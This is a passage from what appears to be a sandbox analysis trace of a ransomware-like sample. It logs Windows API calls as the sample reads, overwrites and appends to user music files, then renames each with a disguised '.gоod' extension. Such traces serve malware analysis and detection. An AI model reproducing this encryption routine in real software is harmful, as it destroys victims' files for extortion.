ftLastAccessTime.dwLowDateTime=0x49028b0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x49028b0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RsSY7F9XV", cAlternateFileName="RSSY7F~1")) returned 1 [0223.992] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb343f1a0, ftCreationTime.dwHighDateTime=0x1d4ca17, ftLastAccessTime.dwLowDateTime=0xf1f5e5a0, ftLastAccessTime.dwHighDateTime=0x1d4c875, ftLastWriteTime.dwLowDateTime=0xf1f5e5a0, ftLastWriteTime.dwHighDateTime=0x1d4c875, nFileSizeHigh=0x0, nFileSizeLow=0xd8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="V6NDQ.wav", cAlternateFileName="")) returned 1 [0223.992] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd61560, ftCreationTime.dwHighDateTime=0x1d4c5e2, ftLastAccessTime.dwLowDateTime=0xc5f88af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5a, ftLastWriteTime.dwLowDateTime=0xc5f88af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5a, nFileSizeHigh=0x0, nFileSizeLow=0x4445, dwReserved0=0x0, dwReserved1=0x0, cFileName="zqOb.mp3", cAlternateFileName="")) returned 1 [0223.992] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd61560, ftCreationTime.dwHighDateTime=0x1d4c5e2, ftLastAccessTime.dwLowDateTime=0xc5f88af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5a, ftLastWriteTime.dwLowDateTime=0xc5f88af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5a, nFileSizeHigh=0x0, nFileSizeLow=0x4445, dwReserved0=0x0, dwReserved1=0x0, cFileName="zqOb.mp3", cAlternateFileName="")) returned 0 [0223.992] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0223.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0223.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0223.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", lpFilePart=0x0) returned 0x3f [0223.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0223.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x35f40c0 | out: lpFileInformation=0x35f40c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76070, ftCreationTime.dwHighDateTime=0x1d4c884, ftLastAccessTime.dwLowDateTime=0xc6eb5b40, ftLastAccessTime.dwHighDateTime=0x1d4d4b1, ftLastWriteTime.dwLowDateTime=0xc6eb5b40, ftLastWriteTime.dwHighDateTime=0x1d4d4b1, nFileSizeHigh=0x0, nFileSizeLow=0x1140f)) returned 1 [0223.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0223.993] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", lpFilePart=0x0) returned 0x3f [0223.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.993] GetFileType (hFile=0x828) returned 0x1 [0223.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.993] GetFileType (hFile=0x828) returned 0x1 [0223.993] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0223.993] ReadFile (in: hFile=0x828, lpBuffer=0x35f44a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x35f44a8*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0223.994] CloseHandle (hObject=0x828) returned 1 [0223.994] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", lpFilePart=0x0) returned 0x3f [0223.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0223.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0223.994] GetFileType (hFile=0x828) returned 0x1 [0223.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0223.994] GetFileType (hFile=0x828) returned 0x1 [0223.994] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1140f [0223.995] WriteFile (in: hFile=0x828, lpBuffer=0x35f5728*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x35f5728*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0223.995] CloseHandle (hObject=0x828) returned 1 [0224.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", lpFilePart=0x0) returned 0x3f [0224.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0224.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.264] GetFileType (hFile=0x85c) returned 0x1 [0224.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0224.264] GetFileType (hFile=0x85c) returned 0x1 [0224.264] ReadFile (in: hFile=0x85c, lpBuffer=0x35a33f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x35a33f0*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0224.303] CloseHandle (hObject=0x85c) returned 1 [0224.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", lpFilePart=0x0) returned 0x3f [0224.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0224.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.303] GetFileType (hFile=0x85c) returned 0x1 [0224.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0224.304] GetFileType (hFile=0x85c) returned 0x1 [0224.304] WriteFile (in: hFile=0x85c, lpBuffer=0x35a2160*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x35a2160*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0224.304] CloseHandle (hObject=0x85c) returned 1 [0224.304] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3", lpFilePart=0x0) returned 0x3f [0224.304] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3.gоod", lpFilePart=0x0) returned 0x44 [0224.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0224.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b76070, ftCreationTime.dwHighDateTime=0x1d4c884, ftLastAccessTime.dwLowDateTime=0xc6eb5b40, ftLastAccessTime.dwHighDateTime=0x1d4d4b1, ftLastWriteTime.dwLowDateTime=0x81e7fa76, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1141f)) returned 1 [0224.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0224.304] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\i_oC.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\i_oc.mp3.gоod")) returned 1 [0224.305] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", lpFilePart=0x0) returned 0x40 [0224.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0224.305] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), fInfoLevelId=0x0, lpFileInformation=0x361f7a8 | out: lpFileInformation=0x361f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb343f1a0, ftCreationTime.dwHighDateTime=0x1d4ca17, ftLastAccessTime.dwLowDateTime=0xf1f5e5a0, ftLastAccessTime.dwHighDateTime=0x1d4c875, ftLastWriteTime.dwLowDateTime=0xf1f5e5a0, ftLastWriteTime.dwHighDateTime=0x1d4c875, nFileSizeHigh=0x0, nFileSizeLow=0xd8ba)) returned 1 [0224.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0224.305] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", lpFilePart=0x0) returned 0x40 [0224.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0224.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.306] GetFileType (hFile=0x85c) returned 0x1 [0224.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0224.306] GetFileType (hFile=0x85c) returned 0x1 [0224.306] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0224.306] ReadFile (in: hFile=0x85c, lpBuffer=0x361fba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x361fba0*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0224.307] CloseHandle (hObject=0x85c) returned 1 [0224.307] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", lpFilePart=0x0) returned 0x40 [0224.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0224.307] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.307] GetFileType (hFile=0x85c) returned 0x1 [0224.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0224.307] GetFileType (hFile=0x85c) returned 0x1 [0224.307] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0xd8ba [0224.307] WriteFile (in: hFile=0x85c, lpBuffer=0x3620e28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3620e28*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0224.308] CloseHandle (hObject=0x85c) returned 1 [0224.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", lpFilePart=0x0) returned 0x40 [0224.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0224.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.308] GetFileType (hFile=0x85c) returned 0x1 [0224.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0224.308] GetFileType (hFile=0x85c) returned 0x1 [0224.308] ReadFile (in: hFile=0x85c, lpBuffer=0x36230d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x36230d8*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0226.318] CloseHandle (hObject=0x85c) returned 1 [0226.318] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", lpFilePart=0x0) returned 0x40 [0226.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0226.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.318] GetFileType (hFile=0x85c) returned 0x1 [0226.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0226.318] GetFileType (hFile=0x85c) returned 0x1 [0226.318] WriteFile (in: hFile=0x85c, lpBuffer=0x354ca80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x354ca80*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0226.318] CloseHandle (hObject=0x85c) returned 1 [0226.318] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav", lpFilePart=0x0) returned 0x40 [0226.318] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav.gоod", lpFilePart=0x0) returned 0x45 [0226.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0226.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb343f1a0, ftCreationTime.dwHighDateTime=0x1d4ca17, ftLastAccessTime.dwLowDateTime=0xf1f5e5a0, ftLastAccessTime.dwHighDateTime=0x1d4c875, ftLastWriteTime.dwLowDateTime=0x831b8977, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd8ca)) returned 1 [0226.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0226.319] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\V6NDQ.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\v6ndq.wav.gоod")) returned 1 [0226.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", lpFilePart=0x0) returned 0x3f [0226.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0226.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), fInfoLevelId=0x0, lpFileInformation=0x37ce070 | out: lpFileInformation=0x37ce070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd61560, ftCreationTime.dwHighDateTime=0x1d4c5e2, ftLastAccessTime.dwLowDateTime=0xc5f88af0, ftLastAccessTime.dwHighDateTime=0x1d4cc5a, ftLastWriteTime.dwLowDateTime=0xc5f88af0, ftLastWriteTime.dwHighDateTime=0x1d4cc5a, nFileSizeHigh=0x0, nFileSizeLow=0x4445)) returned 1 [0226.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0226.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", lpFilePart=0x0) returned 0x3f [0226.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0226.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.322] GetFileType (hFile=0x85c) returned 0x1 [0226.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0226.322] GetFileType (hFile=0x85c) returned 0x1 [0226.322] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0226.322] ReadFile (in: hFile=0x85c, lpBuffer=0x37ce458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x37ce458*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0226.322] CloseHandle (hObject=0x85c) returned 1 [0226.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", lpFilePart=0x0) returned 0x3f [0226.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0226.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.323] GetFileType (hFile=0x85c) returned 0x1 [0226.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0226.323] GetFileType (hFile=0x85c) returned 0x1 [0226.323] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x4445 [0226.323] WriteFile (in: hFile=0x85c, lpBuffer=0x37cf6d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x37cf6d8*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0226.323] CloseHandle (hObject=0x85c) returned 1 [0226.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3", lpFilePart=0x0) returned 0x3f [0226.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0226.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\yRou69\\zqOb.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\yrou69\\zqob.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0226.323] GetFileType (hFile=0x85c) returned 0x1 [0226.323] SetThreadErrorMode 